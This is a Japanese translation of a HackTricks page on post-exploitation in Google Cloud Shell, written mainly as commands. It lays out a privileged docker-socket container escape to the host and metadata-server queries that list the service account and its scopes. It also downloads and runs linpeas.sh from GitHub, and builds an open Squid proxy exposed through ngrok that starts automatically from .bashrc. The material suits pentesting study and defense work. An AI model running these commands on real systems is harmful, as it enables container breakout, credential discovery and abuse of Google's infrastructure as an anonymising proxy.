Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md

4.7 KiB
Raw Blame History

GCP - Cloud Shell Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Cloud Shell

Cloud Shell の詳細については次を参照してください:

{{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}}

Container Escape

Google Cloud Shell はコンテナ内で動作しているため、次のようにして easily escape to the host できます:

Container escape commands ```bash sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock start escaper sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh ```

これは google によって脆弱性とは見なされませんが、その環境で何が起きているかをより広く把握できます。

さらに、ホスト上から service account token を見つけられる点に注意してください:

Get service account from metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ```

以下のスコープ:

サービスアカウントのスコープを取得 ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>

LinPEASでメタデータを列挙する:

<details>

<summary>LinPEASでメタデータを列挙する</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

https://github.com/carlospolop/bf_my_gcp_permissions を Service Account のトークンで使用した後、権限は見つかりませんでした...

Proxy として使用する

もし google cloud shell instance を proxy として使用したい場合、次のコマンドを実行する必要があります(または .bashrc ファイルに挿入してください):

Squid proxy をインストール ```bash sudo apt install -y squid ```

参考までに、Squid は http プロキシサーバーです。次の設定で squid.conf ファイルを作成してください:

squid.conf ファイルを作成 ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

squid.conf ファイルを /etc/squid にコピーする

設定を **/etc/squid** にコピー ```bash sudo cp squid.conf /etc/squid ```

最後に Squid サービスを起動します:

Squid サービスを起動 ```bash sudo service squid start ```

ngrok を使って proxy を外部から利用できるようにします:

ngrok で proxy を公開する ```bash ./ngrok tcp 3128 ```

実行後、tcp:// の URL をコピーしてください。ブラウザから proxy を実行したい場合は、tcp:// の部分とポートを削除し、ブラウザのプロキシ設定のポート欄にそのポートを入力することをお勧めしますsquid は http プロキシサーバーです)。

起動時に使いやすくするため、.bashrc ファイルに以下の行を追加してください:

.bashrc に自動起動用の設定を追加 ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

これらの手順は https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key からコピーされました。Cloud Shell であらゆる種類のソフトウェアdatabases や windows ですら)を実行するための他の奇抜なアイデアについては、そのページを確認してください。

{{#include ../../../banners/hacktricks-training.md}}